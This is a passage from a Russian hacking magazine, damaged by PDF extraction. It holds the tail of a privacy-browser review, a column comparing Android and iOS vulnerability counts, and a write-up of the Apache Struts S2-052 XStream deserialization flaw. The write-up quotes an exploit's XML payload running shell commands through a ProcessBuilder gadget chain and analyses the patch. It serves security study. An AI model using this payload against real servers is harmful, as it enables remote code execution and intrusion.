есть воз можность отклю чить JavaScript и Cookies.
• Стра ница в Google Play
Дви жок: Blink•
Пот ребле ние ПЗУ (без уче та дан ных при ложе ния): 18,99 Мбайт•
Пот ребле ние ОЗУ (откры та толь ко домаш няя стра ница): 117 Мбайт•
Пот ребле ние ОЗУ (откры то пять тес товых сай тов) 250 Мбайт•
Ко личес тво заб локиро ван ных тре керов (для пяти тес товых сай тов): в бра‐ 
узе ре нет инди като ра

•

Глав ная стра ница

INBROWSER
«InBrowser —  это  инкогни то‐бра узер.  Каж дый  раз,  ког да  вы  выходи те  из  In‐
Browser,  все,  что вы сде лали в при ложе нии, будет стер то, вклю чая исто рию,
фай лы cookie и сеан сы». То есть раз работ чики как бы говорят: это не столь ко
отдель ный бра узер, сколь ко режим инкогни то, выделен ный в отдель ное при‐ 
ложе ние. Пря мой кон курент Firefox Focus.

В  целом  бра узер  про изво дит  стран ное  впе чат ление,  одна ко  по  фун кци‐ 
ональ нос ти он луч ший сре ди ком пак тных бра узе ров с защитой от отсле жива‐ 
ния. Он уме ет интегри ровать ся с Orbot (для соз дания соеди нения с интерне‐ 
том через сеть Tor без VPN), менять user agent  (на выбор дос тупны Chrome,
Firefox, Internet Explorer, Safari).

Из допол нитель ной фун кци ональ нос ти:
«перефор матиро вание  тек ста» —  перес трой ка  дес ктоп ной  вер сии  сай та
под мобиль ные экра ны, работа ет она не всег да кор рек тно, но свою фун‐ 
кцию выпол няет;

•

от клю чение заг рузки изоб ражений;•
зап рет исполне ния JavaScript и пла гинов, если таковые уста нов лены в сис‐ 
теме.

•

Кста ти,  в  бра узе ре  име ется  осо бый  «безопас ный  режим»  —  бло киров ка
скрин шотов и защита от отоб ражения в спис ке пос ледних при ложе ний стан‐ 
дар тны ми средс тва ми Android.
• Стра ница в Google Play
Дви жок: Blink•
Пот ребле ние ПЗУ (без уче та дан ных при ложе ния): 6,51 Мбайт•
Пот ребле ние ОЗУ:  зафик сировать  не  уда лось,  так  как  при ложе ние  авто‐ 
мати чес ки выг ружа ется из памяти

•

Ко личес тво заб локиро ван ных тре керов (для пяти тес товых сай тов): в бра‐ 
узе ре нет инди като ра

•

Ори гиналь ный дизайн глав ной стра ницы и перек лючения вкла док

GHOSTERY
«Ghostery  выяв ляет  и  бло киру ет  сис темы  сле жения  в  Сети,  защищая  ваши
дан ные,  уско ряя  заг рузку  стра ниц  и  уби рая  отвле кающие  эле мен ты».
В  общем,  обыч ный бра узер  с  бло киров кой  рек ламы и  тре керов. По  сло вам
раз работ чиков,  бло киров ка  очень  прод винутая,  но  чем  она  прод винута  —
ник то не пояс няет.

Так же как и мно гие дру гие бра узе ры, уме ет очи щать все при ват ные дан‐ 
ные при выходе. Для акти вации фун кции нуж но перей ти в «Нас трой ки → Очи‐ 
щать при выходе» и пос тавить все галоч ки. Заг рузка вкла док в фоне глю чит:
если,  не  дож давшись  заг рузки  стра ницы,  открыть  новую  вклад ку,  а  в  ней
открыть новый адрес, то заг рузка пер воначаль ной стра ницы оста новит ся.
• Стра ница в Google Play
Дви жок: Blink•
Пот ребле ние ПЗУ (без уче та дан ных при ложе ния): 6,07 Мбайт•
Пот ребле ние ОЗУ (откры та толь ко домаш няя стра ница): 185 Мбайт•
Пот ребле ние ОЗУ (откры то пять тес товых сай тов): 317 Мбайт•
Ко личес тво заб локиро ван ных тре керов (для пяти тес товых сай тов): 16•

Мо жет, и нек расиво, зато шесть мегабайт памяти занима ет

CLIQZ
Еще один впол не стан дар тный бра узер с защитой от отсле жива ния на движ ке
Chromium.  Отли чает ся  толь ко  тем,  что  сам  собира ет  ста тис тику  исполь‐ 
зования  для  «улуч шения  релеван тнос ти  резуль татов  поис ка  и  обес печения
работы самых прод винутых фун кций защиты при ват ности».

Под держи вает  син хро низа цию  с  дес ктоп ным  бра узе ром  Cliqz,  име ет
встро енный ска нер QR‐кодов. Так же в нас трой ках мож но вклю чить авто мати‐ 
чес кую очис тку кеша, исто рии, cookie и дру гих лич ных дан ных пос ле зак рытия
при ложе ния (Settings → Privacy → галоч ки вни зу спис ка).
• Стра ница в Google Play
Дви жок: Blink•
Пот ребле ние ПЗУ (без уче та дан ных при ложе ния): 34,81 Мбайт•
Пот ребле ние ОЗУ (откры та толь ко домаш няя стра ница): 198 Мбайт•
Пот ребле ние ОЗУ (откры то пять тес товых сай тов): 327 Мбайт•
Ко личес тво заб локиро ван ных тре керов (для пяти тес товых сай тов): 12•

И не подума ешь, что бра узер занима ет аж 35 Мбайт памяти

ЯНДЕКС.БРАУЗЕР С РАСШИРЕНИЕМ DISCONNECT
Бра узер «Яндекс» не уме ет бло киро вать тре керы самос тоятель но, зато име ет
под дер жку  рас ширений,  бла года ря  которой  в  него  мож но  добавить  рас‐ 
ширение Disconnect. Рас ска зывать тут осо бо не о чем: и бра узер, и Discon‐
nect — извес тные про дук ты, о которых написа но мно жес тво обзо ров.

 и • Стра ница для заг рузки Disconnect
Дви жок: Blink•
Пот ребле ние ПЗУ (без уче та дан ных при ложе ния): 80,61 Мбайт•
Пот ребле ние ОЗУ (откры та толь ко домаш няя стра ница): 288 Мбайт•
Пот ребле ние ОЗУ (откры то пять тес товых сай тов): 540 Мбайт•
Ко личес тво заб локиро ван ных тре керов (для пяти тес товых сай тов): 25•

Са мый блат ной дизайн сре ди всех, не зря 80 Мбайт куша ет

ПРО СКОРОСТЬ РАБОТЫ
На Galaxy S7 все рас смот ренные бра узе ры работа ют нас толь ко быс тро, что
отли чия в ско рос ти работы обна ружить нево ору жен ным взгля дом очень слож‐ 
но  (если  они  вооб ще  есть...).  Проб лем  с  отоб ражени ем  веб‐стра ниц  так же
замече но не было.

ВЫВОДЫ: ЧТО ВЫБРАТЬ?
Ка кой  же  бра узер  выб рать?  Все  зависит  от  пред почте ний,  но  мы  рекомен‐ 
дуем оста новить ся  либо на Firefox Focus,  либо на бра узе ре  «Яндекс» + Dis‐
connect.  Пер вый  не  под держи вает  вклад ки  и  по  боль шому  сче ту  вооб ще
не похож на пол ноцен ный бра узер, зато его дела ет кон тора, которой мож но
доверять. Вто рой — это дей стви тель но неп лохой бра узер. Рас ширение Dis‐
connect так же хорошо извес тно и зас лужива ет доверия.

http://www.opennet.ru/opennews/art.shtml?num=42291
https://easylist.to/easylist/easyprivacy.txt
https://play.google.com/store/apps/details?id=com.brave.browser
https://play.google.com/store/apps/details?id=org.iron.srware
https://wiki.mozilla.org/Security/Tracking_protection
https://play.google.com/store/apps/details?id=org.mozilla.focus
https://xakep.ru/2017/08/15/mobile-mesh/
https://play.google.com/store/apps/details?id=com.yo.browser
https://play.google.com/store/apps/details?id=nu.tommie.inbrowser
https://play.google.com/store/apps/details?id=com.ghostery.android.ghostery
https://play.google.com/store/apps/details?id=com.cliqz.browser
https://play.google.com/store/apps/details?id=com.yandex.browser
https://disconnect.me/


КОЛОНКА ЕВГЕНИЯ ЗОБНИНА

zobnin@glc.ru

X‐MOBILE

Стран ный заголо вок, не прав да ли? Автор, дол жно быть, рех‐ 

нулся,  если  решил  срав нить  безопас ность  iOS,  которую

не может взло мать даже ФБР, и дырявое вед ро под наз вани‐ 

ем Android. Но я серь езен: Android и iOS мож но и даже нуж но

срав нивать. Не затем, что бы в оче ред ной раз доказать, что

iOS нам ного луч ше. А потому, что iOS про игры вает.

Нес коль ко месяцев назад Олег Афо нин из  «Элкомсоф та»  написал 

 о том, нас коль ко хорошо защище ны смар тфо ны на раз ных мобиль ных

плат формах.  Осо бен но  эпич ной  получи лась  зак лючитель ная  часть  про  An‐

droid,  где  он  раз нес  сис тему  в  пух  и  прах  и  наз вал  самой  дырявой  из  всей

боль шой трой ки (iOS, Windows Phone/Mobile, Android).

боль шую

статью

Мы дол го дис кутиро вали на эту тему и в кон це кон цов сош лись во мне нии,

что сто ит добавить в статью мою врез ку, с аль тер натив ным взгля дом на проб‐ 

лему.  В  двух  сло вах  суть  врез ки:  Олег,  как  спе циалист  по  мобиль ной  кри‐ 

мина лис тике, луч ше дру гих зна ет, что взло мать сред неста тис тичес кий смар‐ 

тфон  на  Android  гораз до  про ще,  чем  iPhone.  Я  же  попытал ся  ска зать,  что

проб лема  в  боль шей  сте пени  не  в  самом  Android,  а  в  устрой ствах,  на  нем

работа ющих. И мно гое зависит от того, какой кон крет но смар тфон ты исполь‐ 

зуешь.

Как и Олег, я убеж ден, что iPhone гораз до безопас нее смар тфо нов на An‐

droid. Это оче вид ный факт, который про исте кает из того, что Apple пол ностью

кон тро лиру ет эко сис тему сво их  устрой ств: свое железо, свой единс твен ный

App  Store,  быс трые  апдей ты  нап рямую  от  раз работ чиков  iOS,  в  ОС  ник то

не  вно сит  пра вок,  кро ме  самой  Apple.  Ком пания  не  толь ко  раз вива ет  iOS,

но и управля ет всем вок руг нее, вклю чая сами устрой ства.

Од нако  если  пос мотреть  нем ножко  под  дру гим  углом  и  срав нить

не устрой ства, не эко сис тему, не весь этот пласт сер висов и тех нологий, соз‐ 

данных  вок руг  iOS  и  Android, —  если  отбро сить  все  это  и  срав нить  Android

и  iOS  как  отдель но  взя тые  ОС,  то  кар тина  ста новит ся  далеко  не  такой

однознач ной.

Для начала неболь шая таб личка:

iPhone OS 1.0 — взло мана спус тя 11 дней;•

iPhone OS 2.0 — взло мана спус тя 35 дней;•

iPhone OS 3.0 — взло мана спус тя 2 дня;•

iOS 4.0 — взло мана спус тя 2 дня;•

iOS 5.0 — взло мана спус тя 1 день;•

iOS 6.0 — взло мана в тот же день;•

iOS 7.0 — взло мана спус тя 95 дней;•

iOS 7.1 — взло мана спус тя 25 дней;•

iOS 8.0 — взло мана спус тя 35 дней;•

iOS 8.1.1 — взло мана спус тя 12 дней;•

iOS 9.0 — взло мана спус тя 28 дней;•

iOS 9.1 — взло мана спус тя 142 дня;•

iOS 10 — взло мана спус тя 106 дней.•

Она  показы вает,  сколь ко  дней  прош ло  меж ду  релизом  новой  вер сии  iOS

и  пер вым  джей лбрей ком.  В  кон тек сте  обсужде ния  безопас ности  это  очень

важ ная  таб лица,  потому  что  тех ничес ки  джей лбрейк  —  это  не  что  иное,

как получе ние прав root. А пра ва root, в свою оче редь, дают пол ный кон троль

над устрой ством, и получить их мож но толь ко одним путем — обой дя защит‐ 

ные механиз мы ОС.

Ты  можешь  ска зать,  что  Android  тоже  рутят  все  кому  не  лень,  и  будешь

прав.  Одна ко  здесь  есть  мно жес тво  нюан сов,  вклю чая  такие  фак торы,

как час тая воз можность получить root «легаль но» (раз бло киро вав заг рузчик),

сущес тво вание  огромно го  количес тва  устрой ств  на  про цес сорах  MTK,

в  которых  заг рузчик  в  прин ципе  не  заб локиро ван,  а  так же  дыры,  которые

не отно сят ся нап рямую к Android и появи лись бла года ря  кри вору кос ти  ком‐ 

пании‐про изво дите ля.

В  общем,  сход ную  таб лицу  для  Android  сос тавить  прак тичес ки  невоз‐ 

можно, но мы можем срав нить iOS и Android, исполь зуя нем ного дру гие дан‐ 

ные. Взгля ни:

1. Android — 1308 уяз вимос тей.

2. iOS — 1275 уяз вимос тей.

Это  количес тво  всех  ког да‐либо  най ден ных  уяз вимос тей  в  iOS  и  Android

по  дан ным  .  Android  занима ет  пер вое  мес то,  iOS  нем ного

отста ет. Уже толь ко этой информа ции дос таточ но, что бы раз веять миф о том,

что Android — решето решетом, а iOS — неп риступ ная кре пость. Но мы пой‐ 

дем нем ного даль ше и взгля нем на сами уяз вимос ти.

cvedetails.com

На  момент  написа ния  статьи  пос ледние  три  уяз вимос ти  Android  были

такими:

1. The lockscreen on Elephone P9000 devices (running Android 6.0) allows physi‐

cally  proximate  attackers  to  bypass  a  wrong‐PIN  lockout  feature  by  pressing

backspace after each PIN guess.

2. In all Qualcomm products with Android releases from CAF using the Linux ker‐

nel, a race condition in a WLAN driver can lead to a Use After Free condition.

3. In all Qualcomm products with Android releases from CAF using the Linux ker‐

nel, a race condition in a USB driver can lead to a Use After Free condition.

Один баг в реали зации экра на бло киров ки в дешевом китай ском кус ке плас‐ 

тика  под  наз вани ем  Elephone  P9000  и  две  уяз вимос ти  в  фир менных  драй‐ 

верах Qualcomm, автор которых — сама Qualcomm и которые име ют такое же

отно шение к Android, какое драй вер для виде окар ты Nvidia име ет к Windows.

Ок, впол не воз можно, это слу чай ность и прос то сте чение обсто ятель ств.

Сде лаем выбор ку из 100 пос ледних уяз вимос тей:

29 — драй веры Qualcomm;•

28 — уяз вимос ти Android;•

20 — ядро CAF, раз вива емое Qualcomm;•

9 — драй веры Mediatek;•

7 — драй веры Broadcom;•

4 — уяз вимос ти в про шив ках про изво дите лей;•

3 — драй веры Nvidia.•

Ито го:  поч ти  полови на  уяз вимос тей  най дена  в  драй верах  (и  фир менном

ядре)  Qualcomm,  мень ше  тре ти  —  в  коде  самого  Android.  Та  же  выбор ка

для iOS:

99 — уяз вимос ти iOS;•

1 — драй вер Qualcomm.•

Ты,  конеч но же, можешь воз разить,  что мой ана лиз  слиш ком при мити вен,  я

взял весь срез уяз вимос тей, вклю чив в него DoS, уяз вимос ти с низ ким рей‐ 

тин гом и тому подоб ное. Но давай пос мотрим прав де в гла за. Я при вел ста‐ 

тис тику  на  осно ве  100  уяз вимос тей,  это  8%  из  всех  зарегис три рован ных

за все вре мя сущес тво вания ОС багов. Если это нереп резен татив ная выбор‐ 

ка, то я не знаю, какая будет реп резен татив ной.

А теперь взгля нем на самые извес тные и страш ные баги, о которых не так

дав но тру били на каж дом углу. Вот непол ный спи сок для iOS:

CVE‐2009‐2204  (до  3.0.1)  —  прос мотр  вре донос ного  сооб щения  SMS

может  при вес ти  к  неожи дан ному  сбою  устрой ства  или  выпол нению  про‐ 

изволь ного кода;

•

CVE‐2010‐3832  (до  4.2)  —  уда лен ное  исполне ние  кода  в  про цес соре

GSM‐модема;

•

CVE‐2012‐0672 (до 5.1.1) — уда лен ное исполне ние кода с помощью спе‐ 

циаль ным обра зом сфор мирован ной web‐стра ницы;

•

CVE‐2016‐4631  (до  9.3.3)  —  уда лен ное  исполне ние  кода  с  помощью

показа  изоб ражения  в  фор мате  TIFF  на  веб‐стра нице,  в  пись ме,  сооб‐ 

щении и подоб ном;

•

Trident  (до  9.3.5)  —  поль зователь  кли кает  по  ссыл ке,  пос ле  чего  тро ян

дела ет джей лбрейк и раз меща ется в сис теме;

•

Broadpwn  (до 10.3.3) — уда лен ное исполне ние кода через отправ ку осо‐ 

бым обра зом  сфор мирован ных Wi‐Fi‐фрей мов  (этот  же  баг  при сутс тву ет

в смар тфо нах на Android).

•

Для  Android  мож но  при вес ти  такой  же  спи сок,  и  более  чем  наполо вину  он

будет  сос тоять  из  най ден ных  в  2015–2016  годах  багов  Stagefright.  Раз ница

толь ко в  том, что о багах  iOS быс тро забыва ют, они прос то перес тают быть

акту аль ными  из‐за  обновле ния  всех  устрой ств  до  новой  вер сии  ОС.  А  вот

о багах Android пом нят дол го, ведь уяз вимос ти даже двух‐ и трех летней дав‐ 

ности оста ются акту аль ными для мил лионов устрой ств.

Ес ли  говорить  об  уяз вимос тях,  iOS  опре делен но  не  самая  защищен ная

ОС,  а  Android  не  самая  дырявая.  А  вот  сред неста тис тичес кий  смар тфон

на Android — это решето. Все эти модифи кации, добав ленные про изво дите‐ 

лем, баги в фир менных заг рузчи ках, веч ные проб лемы с обновле ниями — все

это сво дит на нет ста рания Google сде лать Android безопас нее.

По это му,  если  ты  выбира ешь  смар тфон  на  Android,  сле дуй  нес коль ким

советам.

Луч ший выбор — это Nexus, Pixel и смар тфо ны Android One. Они работа ют

под  управле нием «чис того» Android и получа ют опе ратив ные обновле ния

в течение трех лет (два года обыч ных обновле ний и один год обновле ний

безопас ности).

•

Ес ли  луч ший  выбор  невоз можен,  пос мотри  в  сто рону  смар тфо на,

для  которо го  есть    под дер жка  LineageOS,  в  пер вую  оче‐ 

редь  это Samsung и OnePlus.  Если про изво дитель перес танет обновлять

устрой ство, у тебя всег да будет воз можность перей ти на LineageOS и про‐ 

дол жать получать обновле ния.

•

офи циаль ная

Не надей ся, что твой китай ский смар тфон на про цес соре MTK будет слож‐ 

но взло мать. Человек с самой началь ной под готов кой соль ет с него дан‐ 

ные на счет раз.

•

Ес ли же твой выбор — iPhone, то у тебя вооб ще никаких проб лем. Сколь ко бы

багов ни было най дено в iOS, Apple зак роет их в течение двух недель.

mailto:zobnin@glc.ru
https://xakep.ru/2017/06/16/the-most-vulnerable-mobile-os/
https://www.cvedetails.com/top-50-products.php?year=0
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Се год ня  мы  вер немся  к  Apache  Struts,  популяр ному
веб‐фрей мвор ку,  который  за  пос леднее  вре мя  натер пелся
от  иссле дова телей  безопас ности  и  явил  миру  нес коль ко
кри тичес ких уяз вимос тей. В этой статье я хочу обсу дить уяз‐ 
вимость  в модуле,  отве чающем  за REST API. Она  при водит
к  выпол нению  про изволь ного  кода  и  откры вает  широкие
воз можнос ти  (такие,  нап ример,  как 

).
слив  лич ных  дан ных

полови ны населе ния США

В пре дыду щих сери ях

Не  так  дав но  я  уже  писал    об  уяз вимос ти  в  Struts.  Там  речь  шла
о  некор рек тной  обра бот ке  сооб щений  об  ошиб ках:  исполь зуя Object Graph
Navigation Language  (OGNL), мож но было выпол нять про изволь ные коман ды
на машине.

статью

Еще  была  уяз вимость  язы ка  шаб лонов  Freemarker  (Freemarker  Template
Language).  Некор рек тная  работа  механиз ма  обра бот ки  тегов  поз воляла
опять  же  отправ лять  сер веру  выраже ния  OGNL,  которые  сно ва  при води ли
к выпол нению про изволь ного кода.

В  этот  раз  под  при целом  ока зал ся  механизм  REST  API,  а  ошиб ка  зак‐ 
ралась в механизм десери али зации сущ ностей XML.

Наш подопыт ный

Все свои манипу ляции я буду про изво дить на ОС Windows 10. В качес тве сер‐ 
вера я исполь зую  . Вер сию фрей мвор ка Apache Struts я
возь му  из  вет ки  2.5,  и  это  пос ледняя  уяз вимая  до  пат ча —  2.5.12.  Ска чать
мож но,  разуме ется,  на  офи циаль ном  сай те.  Что бы  не  приш лось  искать,  вот
тебе    (ZIP).  Так же  можешь  ска чать  толь ко  ,  если
захочешь заг лянуть внутрь и луч ше понять, как все устро ено.

Apache Tomcat 8.5.20

пря мая  ссы лоч ка ис ходни ки

Пос ле уста нов ки сер вера нуж но рас паковать архив с фрей мвор ком, взять
из  пап ки    при ложе ние    (файл 

) и положить в пап ку   сер вера Tomcat. Пос ле это го мож но запус‐ 
кать сер вер.

apps struts2‐rest struts2‐rest‐showcase.
war webapps

Те перь,  перей дя  по  адре су 
, ты можешь наб людать нашего подопыт ного.

http://127.0.0.1:8080/struts2‐rest‐
showcase

Го товое к экспе римен там при ложе ние

Ко паем ся в исходни ках

Для начала нес коль ко слов о  . Это интерфейс, который
пре дос тавля ется фрей мвор ком для кон верти рова ния дан ных в объ екты Java.
Десери али зацию  здесь  исполь зуют,  что бы  пре обра зовать  передан ные  дан‐ 
ные в объ екты. Поэто му каж дый класс, реали зующий этот интерфейс, пред‐ 
став ляет  потен циаль ный  инте рес  для  нас  как  иссле дова телей. Ведь  все мы
любим десери али зацию юзер даты.

ContentTypeHandler

Так вот, в Struts име ется такой класс, как  .XStreamHandler

/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStream

Handler.java

30: /**
31:  * Handles XML content
32:  */
33: public class XStreamHandler implements ContentTypeHandler {

Он  исполь зует ся  при  обра бот ке  дан ных  в  фор мате  XML,  отправ ленных
на сер вер.

Заг лянем в кон фигура цион ный файл.

/plugins/rest/src/main/resources/struts-plugin.xml

35:     <bean type="org.apache.struts2.rest.handler.ContentTypeHand
ler" name="xml" class="org.apache.struts2.rest.handler.XStrea
mHandler" />
...
47:     <constant name="struts.action.extension" value="xhtml,,xml,
json" />

Как видишь, обра бот ка XML‐зап росов вклю чена по умол чанию, и занима ется
этим имен но класс  .XStreamHandler

Во  вре мя  обра бот ки  поль зователь ско го  зап роса  класс 
 опре деля ет MIME‐тип отправ ленных дан ных и нап равля ет выпол‐ 

нение кода в нуж ное рус ло — для обра бот ки дан ных выбира ется соот ветс тву‐ 
ющий обра бот чик.

ContentTypeIn‐
terceptor

/plugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeIn-

terceptor.java

38: public class ContentTypeInterceptor extends AbstractInterceptor {
...
48:     public String intercept(ActionInvocation invocation) throws 
Exception {
49:         HttpServletRequest request = ServletActionContext.getReq
uest();
50:         ContentTypeHandler handler = selector.getHandlerForRe
quest(request);

Что бы  прев ратить  передан ные  дан ные  в  объ ект,  сущес тву ет  метод  с  под‐ 
ходящим наз вани ем  . Он и вызыва ется из обра бот чика, опре делен‐ 
ного с помощью  .

toObject
intercept

/plugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeIn-

terceptor.java

59: InputStreamReader reader = new InputStreamReader(is);
60: handler.toObject(reader, target);

/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStream

Handler.java

43: public void toObject(Reader in, Object target) {
44:     XStream xstream = createXStream();
45:     xstream.fromXML(in, target);
46: }

Объ ект   —  это  не  что  иное,  как  поль зователь ские  дан ные,  отправ ленные
опре делен ному методу REST API. Эти дан ные переда ются  в 

.

in
XStream.from‐

XML

/src/java/com/thoughtworks/xstream/XStream.java

1239: public <T> T fromXML(final Reader xml, final T root) {
1240:     return unmarshal(hierarchicalStreamDriver.createReader(xml)
, root);
1241: }

От туда они попада ют в фун кцию десери али зации  . Никаких пред‐ 
варитель ных про верок передан ных дан ных не про изво дит ся, поэто му мож но
спо кой но  отправ лять  что  душе  угод но,  а  душе  угод но  хле ба  и  зре лищ.  Ну
и запущен ный каль кулятор, нап ример, уви деть было бы неп лохо.

unmarshal

Де тали экс пло ита и PoC

Так  как  для  экс плу ата ции  уяз вимос ти  дос таточ но  отправ ки  обыч ного  HTTP‐
зап роса к сер веру, то мож но вос поль зовать ся хоть curl. Но, разуме ется, есть
и  , написан ный на Python.го товый экс пло ит

42627.py

23: exploit = '''
24:         <map>
...
86:     request = requests.post(url, data=exploit, headers=headers)
...
94:     print ('[*] Example: python struts2.py http://sitevulnerable.
com/struts2‐rest‐showcase/orders/3 id')

Экс пло ит исполь зует готовый RCE‐пей лоад, нацелен ный на сис темы с Linux.

42627.py

38: <next class="java.lang.ProcessBuilder">
39: <command>
40: <string>/bin/sh</string><string>‐c</string><string>'''+ command 
+'''</string>
41: </command>

Я  прос то  ско пирую  сам  пей лоад,  изме ню  его  под  наши  Windows‐реалии,
выкину  нес коль ко  необя затель ных  парамет ров  и  поп робую  отпра вить
методом  POST.  В  качес тве  URL  мож но  исполь зовать  корень  при ложе ния,
который обра баты вает REST API. В моем слу чае это 

.  В  реаль ных  усло виях  его,  естес твен‐ 
но, необ ходимо будет най ти. :)

http://struts.visual‐
hack:8080/struts2‐rest‐showcase/

Ус пешная экс плу ата ция RCE‐уяз вимос ти в Apache Struts 2

Сер вер  воз вра щает  ошиб ку  500,  и  код  успешно  выпол няет ся.  Отме чу,  что
уяз вимы все типы зап росов, которые под держи вают ся REST API, — PUT, GET,
POST и так далее.

Во обще,  сам  пей лоад  сге нери рован  при  помощи  ути литы  .
С  ней  мож но  самыми  раз ными  спо соба ми  про экс плу ати ровать  клас сы
десери али зации  (мар шалли зации)  и  раз личные  гад жеты  к  ним.  В  этом  экс‐ 
пло ите исполь зовал ся класс   и   в качес тве гад жета.

marshalsec

XStream ImageIO

Ге нера ция пей лоада с помощью marshalsec

Тех ника  экс плу ата ции  с  помощью  сге нери рован ного  экс пло ита  исполь зует
цепоч ку  гад жетов 

.
java.util.Collections$EmptyIterator  →  javax.im‐

ageio.ImageIO$ContainsFilter
1. Ме тод    из  клас са 

 вызыва ет  .
hashCode() jdk.nashorn.internal.objects.Native‐

String NativeString‐>getStringValue()

/src/jdk/nashorn/internal/objects/NativeString.java

115: @Override
116: public int hashCode() {
117:     return getStringValue().hashCode();
118: }

2.   вызыва ет  .getStringValue() java.lang.CharSequence‐>toString()
3. За тем    из 

 вызыва ет  .

toString() com.sun.xml.internal.bind.v2.runtime.unmar‐
shaller. 
Base64Data Base64Data‐>get()

42627.py

28:                 <value class="com.sun.xml.internal.bind.v2.
runtime.unmarshaller.Base64Data">
29:                 <dataHandler>

/com/sun/xml/internal/bind/v2/runtime/unmarshaller/Base64Data.-

java

67:     private DataHandler dataHandler;

/com/sun/xml/internal/bind/v2/runtime/unmarshaller/Base64Data.-

java

177:    public byte[] More ...get() {
178:        if (data == null) {
179:            try {
180:                ByteArrayOutputStreamEx baos = new ByteAr
rayOutputStreamEx(1024);
181:                InputStream is = dataHandler.getDataSource().
getInputStream();

4.  ,  в  свою  оче редь,  запус кает    из 
,  пре дос тавлен ного  .  А  там

у  нас 
, который мы опре делим далее в пей лоаде.

Base64Data‐>get() read() java.io.In‐
putStream javax.activation.DataSource

com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlData‐
Source

42627.py

30: <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMes
sage$XmlDataSource">
...

5.    в  ито ге  вызыва ет  метод
.

javax.crypto.CipherInputStream‐>read()
javax.crypto.Cipher‐>update()

6. Что,  в  свою  оче редь,  при водит  к  вызову  клас са  ,  запус‐ 
кающе го  ите ратор,  который  мы  ему  переда дим.  А  переда ем  мы  вто рой
гад жет цепоч ки —  .

FirstProvider

javax.imageio.spi.FilterIterator

Опи сание работы гад жета ImageIO

35: <serviceIterator class="javax.imageio.spi.FilterIterator">
36:     <iter class="javax.imageio.spi.FilterIterator">

7. По лучен ный  ите ратор  выпол няет  метод  ,  в  котором  про исхо дит
вызов про цеду ры   из  .

next()
filter FilterIterator$Filter

38: <next class="java.lang.ProcessBuilder">
39: <command>
40: <string>/bin/sh</string><string>‐c</string><string>'''+ 
command +'''</string>
41: </command>
42: <redirectErrorStream>false</redirectErrorStream>
43: </next>

8. Это ведет к тому, что   вызыва ет
ука зан ный  метод  из  объ екта,  который  был  передан  через

.

javax.imageio.ImageIO$ContainsFilter

FilterIterator

45: <filter class="javax.imageio.ImageIO$ContainsFilter">
46:   <method>
47:     <class>java.lang.ProcessBuilder</class>
48:     <name>start</name>
49:     <parameter‐types/>
50:   </method>
51:   <name>foo</name>
52: </filter>

Та ким  обра зом,  отра баты вает 
с  парамет рами  из  ,  который  при водит  к  выпол нению  про изволь‐ 
ного  кода  в  сис теме.  Доволь но  запутан но,  да,  но,  изу чив  пей лоад,  ты  пос‐ 
тепен но пой мешь, как это работа ет.

java.lang.ProcessBuilder‐>start()
<command>

Ана лиз пат ча

Те перь  пос мотрим  на  то,  как  раз работ чики  испра вили  эту  ошиб ку.  Вот  этот
 фик сит уяз вимость.ком мит

Патч, исправ ляющий уяз вимость S2‐052

Мы  можем  видеть,  что  изме нения  кос нулись  обра бот чика  .
Ребята  рас ширили  его  набор  фун кций  и  добави ли  белый  спи сок  клас сов,
которые он может обра баты вать.

XStreamHandler

/src/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStr

eamHandler.java

047: public class XStreamHandler extends AbstractContentTypeHandler {
...
059:     public void toObject(ActionInvocation invocation, Reader in,
Object target) {

060:         XStream xstream = createXStream(invocation);
...
073:     protected XStream createXStream(ActionInvocation invocation)
{

074:         XStream stream = new XStream();
075:         LOG.debug("Clears existing permissions");
076:         stream.addPermission(NoTypePermission.NONE);
077:
078:         LOG.debug("Adds per action permissions");
079:         addPerActionPermission(invocation, stream);
080:
081:         LOG.debug("Adds default permissions");
082:         addDefaultPermissions(invocation, stream);
083:         return stream;
084:     }
...
086:     private void addPerActionPermission(ActionInvocation invoca
tion, XStream stream) {
087:         Object action = invocation.getAction();
088:         if (action instanceof AllowedClasses) {
...
104:     protected void addDefaultPermissions(ActionInvocation invoca
tion, XStream stream) {
...
109:         stream.addPermission(NullPermission.NULL);
110:         stream.addPermission(PrimitiveTypePermission.PRIMITIVES)
;
111:         stream.addPermission(ArrayTypePermission.ARRAYS);
112:         stream.addPermission(CollectionTypePermission.COLLEC
TIONS);
113:         stream.addPermission(new ExplicitTypePermission(new 
Class[]{Date.class}));

Ра зуме ется, потен циаль но небезо пас ные клас сы туда не вхо дят.

Де монс тра ция экс плу ата ции уяз вимос ти

Вы воды

Как  это  всег да быва ет,  наличие  серь езных  уяз вимос тей  в  популяр ных  прог‐ 
рам мных про дук тах прив лека ет к ним боль шое вни мание, в том чис ле со сто‐ 
роны  новых  экспер тов  по  безопас ности.  Све жим  взгля дом  они могут  обна‐ 
ружить  то,  что  усколь зало  от  дру гих  иссле дова телей.  Так  получи лось  и  с
фрей мвор ком Struts.

На пос ледок  хочу  ска зать,  что  ути лита    была  написа на
Морицем Бех лером (Moritz Bechler) на осно ве его 

  атак  на  алго рит мы  десери али зации  и  методов  их  экс плу ата ции.
Всем, кто не читал, рекомен дую обя затель но озна комить ся.

marshalsec
фун дамен таль ного иссле‐ 

дова ния

https://xakep.ru/2017/09/14/equifax-dejstvitelno-vzlomali-cherez-bag-v-apache-struts-no-uyazvimost-okazalas-staroj/
https://xakep.ru/2017/05/16/apache-struts-rce-vhack/
http://apache.mirror1.spango.com/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20-windows-x64.zip
http://apache.mirror1.spango.com/struts/2.5.12/struts-2.5.12-all.zip
http://apache.mirror1.spango.com/struts/2.5.12/struts-2.5.12-src.zip
https://www.exploit-db.com/exploits/42627/
https://github.com/mbechler/marshalsec
https://github.com/apache/struts/commit/19494718865f2fb7da5ea363de3822f87fbda264
https://vimeo.com/235509133
https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
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ВЗЛОМ

По пуляр ней шая  мно гофун кци ональ ная  CMS  Joomla  сно ва
с  нами.  Нес коль ко  месяцев  назад  мы  уже 

,  но  тог да  это  была  SQL‐инъ екция,  а  теперь
на повес тке более экзо тичес кая шту ка — LDAP Injection. Уяз‐ 
